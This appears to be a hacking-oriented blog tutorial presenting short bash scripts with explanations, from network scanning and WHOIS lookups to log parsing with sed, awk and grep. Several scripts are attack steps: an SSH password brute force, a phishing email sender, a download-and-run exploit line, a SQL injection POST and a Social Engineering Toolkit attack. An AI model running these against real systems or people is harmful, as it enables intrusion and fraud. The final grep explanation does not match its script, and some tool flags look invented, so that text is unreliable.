Linux Scripting: Real Life Examples

Linux Scripting Real Life Examples

Learning the basics and then going deeper into advanced aspects of Linux scripting is like understanding the basics that gives you a starting point, real expertise comes from writing scripts yourself. Beginning with simpler scripts helps you grasp the fundamental concepts of giving instructions to the computer. As you gain experience, you can progress to more complex scripts, tackling larger tasks step by step.

 

Remember, while learning the theory is important, it’s the actual process of scripting that turns you into a skilled Linux scripter. With each script you create, you’ll gain a better grasp of Linux scripting.I’ve simplified the process by creating practical scripts and explaining their underlying logic. This way, you can understand how to apply Linux scripting concepts effectively.

 

Basic Network Scanning:

 

#!/bin/bash

target_ip=”192.168.1.1″

echo “Scanning target: $target_ip”
nmap -p 1-100 $target_ip

 

Logic Explanation:

  • We start by setting the target_ip variable to the IP address we want to scan.
  • The script then uses nmap to scan the target IP for open ports in the range of 1 to 100.
  • The echo command prints a message indicating the target being scanned.

 

 

Information Gathering:

 

#!/bin/bash

target_domain=”example.com”

echo “Gathering information for $target_domain”
whois $target_domain
dig $target_domain

 

Logic Explanation:

  • Here, we’re focusing on gathering information about a domain.
  • The whois command provides domain registration details and ownership information.
  • The dig command performs DNS queries to retrieve domain-related records.

 

 

Brute Force Password Guessing:

 

#!/bin/bash

target_ip=”192.168.1.1″
username=”admin”
passwords=(“password123” “admin” “12345”)

for pass in “${passwords[@]}”; do
        echo “Trying password: $pass”
        sshpass -p “$pass” ssh $username@$target_ip
done

 

Logic Explanation:

  • This script demonstrates a basic brute force attack on SSH using a list of passwords.
  • The script iterates through the passwords array, attempting to SSH into the target IP using different passwords.
  • It uses the sshpass tool to provide the password in a non-interactive manner.

 

 

Web Application Vulnerability Scanning:

 

#!/bin/bash

target_url=”http://example.com”

echo “Scanning for vulnerabilities in $target_url”
nikto -h $target_url

 

Logic Explanation:

  • This script focuses on web application security testing using the nikto tool.
  • The script scans the target URL for potential vulnerabilities and misconfigurations.
  • The nikto tool generates a report highlighting vulnerabilities and issues.

 

 

Wireless Network Penetration Testing:

 

#!/bin/bash

wifi_interface=”wlan0″
target_ssid=”MyWiFiNetwork”

echo “Penetration testing for $target_ssid”
airmon-ng start $wifi_interface
airodump-ng $wifi_interface

 

Logic Explanation:

  • This script automates Wi-Fi network penetration testing using airmon-ng and airodump-ng.
  • It starts monitoring mode on the specified wireless interface.
  • The airodump-ng command captures information about available networks, including the target SSID.

 

 

Custom Phishing Email Generation:

 

#!/bin/bash

target_email=”[email protected]
subject=”Urgent: Account Verification”
message=”Please verify your account by clicking the link below…”

echo “Crafting phishing email to $target_email”
echo -e “Subject: $subject\n$message” | sendmail $target_email

 

Logic Explanation:

  • This script showcases how to create a simple phishing email.
  • It uses the sendmail command to send an email to the target email address.
  • The email’s subject and message content are specified through variables.

 

 

Exploitation and Post-Exploitation:

 

#!/bin/bash

target_ip=”192.168.1.1″
vulnerability=”CVE-2023-12345″

echo “Exploiting $vulnerability on $target_ip”
exploit_script=”exploit.py”
wget https://example.com/$exploit_script
python $exploit_script $target_ip

 

Logic Explanation:

  • This script simulates exploiting a known vulnerability (CVE-2023-12345) on a target IP.
  • It downloads an exploit script from a remote server and runs it, passing the target IP as an argument.

 

 

Web Application SQL Injection:

 

#!/bin/bash

target_url=”http://example.com/login”
payload=”‘ OR ‘1’=’1;–“

echo “Attempting SQL injection on $target_url”
curl -d “username=admin&password=$payload” -X POST $target_url

 

Logic Explanation:

  • Here, the script attempts a basic SQL injection attack on a login form.
  • The payload variable contains the malicious input that could manipulate the SQL query to always return true.
  • The curl command sends a POST request with the payload to the target URL.

 

 

Automated Digital Evidence Collection:

 

#!/bin/bash

case_number=”12345″
evidence_dir=”/evidence/case_$case_number”
mount_point=”/mnt/forensics”

echo “Mounting evidence drive”
mount /dev/sdb1 $mount_point

echo “Copying evidence to $evidence_dir”
cp -R $mount_point/* $evidence_dir

echo “Unmounting evidence drive”
umount $mount_point

 

Logic Explanation:

  • This script automates the process of collecting digital evidence from a mounted drive.
  • It specifies the case number, mount point, and evidence directory.
  • The script mounts the drive, copies its contents to the evidence directory, and then unmounts the drive.

 

 

Custom Network Sniffer:

 

#!/bin/bash

interface=”eth0″
output_file=”captured_packets.pcap”

echo “Starting packet capture on $interface”
tcpdump -i $interface -w $output_file

 

Logic Explanation:

  • This script creates a custom network sniffer using tcpdump.
  • It captures network packets on the specified interface and writes them to an output file.
  • The resulting pcap file can be analyzed using tools like Wireshark.

 

 

Social Engineering Toolkit Automation:

 

#!/bin/bash

target_ip=”192.168.1.1″
attack=”java_applet”

echo “Performing $attack social engineering attack on $target_ip”
setoolkit -t $target_ip -j $attack

 

Logic Explanation:

  • This script leverages the Social Engineering Toolkit (setoolkit) for automated social engineering attacks.
  • It specifies the target IP and the type of attack to perform.
  • The setoolkit tool then carries out the specified attack, in this case, a Java applet attack.

 

 

Using SED to Manipulate Data:

 

#!/bin/bash

log_file=”access.log”
output_file=”ip_addresses.txt”

sed -nE ‘s/.*([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+).*$/\1/p’ $log_file > $output_file

 

Logic Explanation:

  • We use sed to extract IP addresses from the access.log file.
  • The -n flag suppresses automatic printing of pattern space.
  • The -E flag enables extended regular expressions.
  • The s/regex/replacement/p command searches for the regular expression .*([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+).* (which matches IP addresses) and replaces it with the captured IP address (\1). The p flag at the end ensures only matched lines are printed.

 

 

Using AWK to Process Text:

 

#!/bin/bash

csv_file=”user_data.csv”

awk -F, ‘$4 ~ /02:00|03:00/’ $csv_file > suspicious_users.txt

 

Logic Explanation:

  • Here, we’re using awk to process the CSV file and identify users with suspicious access times between 2:00 AM and 3:00 AM.
  • The -F, flag specifies the field separator as a comma (CSV file).
  • The $4 ~ /02:00|03:00/ condition checks if the fourth field matches either 02:00 or 03:00.
  • The results are redirected to the suspicious_users.txt file.

 

 

Using FIND to Locate Files:

 

#!/bin/bash

search_dir=”/var/www/html”
output_file=”sensitive_files.txt”

find $search_dir -type f -exec grep -l “password” {} + > $output_file

 

Logic Explanation:

  • This script uses find to search for files containing the word “password” within the /var/www/html directory.
  • -type f specifies that only regular files should be searched.
  • The -exec flag executes the grep -l "password" command on each found file.
  • The results, which include filenames, are redirected to the sensitive_files.txt file.

 

 

Using GREP to Search for Patterns:

 

#!/bin/bash

log_file=”auth.log”
output_file=”brute_force_attempts.txt”

grep “Failed password” $log_file > $output_file

 

Logic Explanation:

  • This script uses grep with the -E flag to enable extended regular expressions.
  • The -o flag tells grep to output only the matched parts (email addresses) of each line.
  • The provided regular expression \b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,7}\b matches valid email addresses.

 

 

Disclaimer: Remember, these scripts are provided for educational purposes and ethical hacking practice only. Using them maliciously or without proper authorization is unethical and potentially illegal. Always follow responsible and lawful hacking practices.

 

 

You may also like:

https://hackedyou.org/mastering-the-basics-of-linux-shell-scripting/

https://hackedyou.org/advanced-linux-shell-scripting/

https://hackedyou.org/mastering-sed-in-linux-scripting/

https://hackedyou.org/mastering-awk-in-linux-scripting/

Leave a Comment

Your email address will not be published. Required fields are marked *


Scroll to Top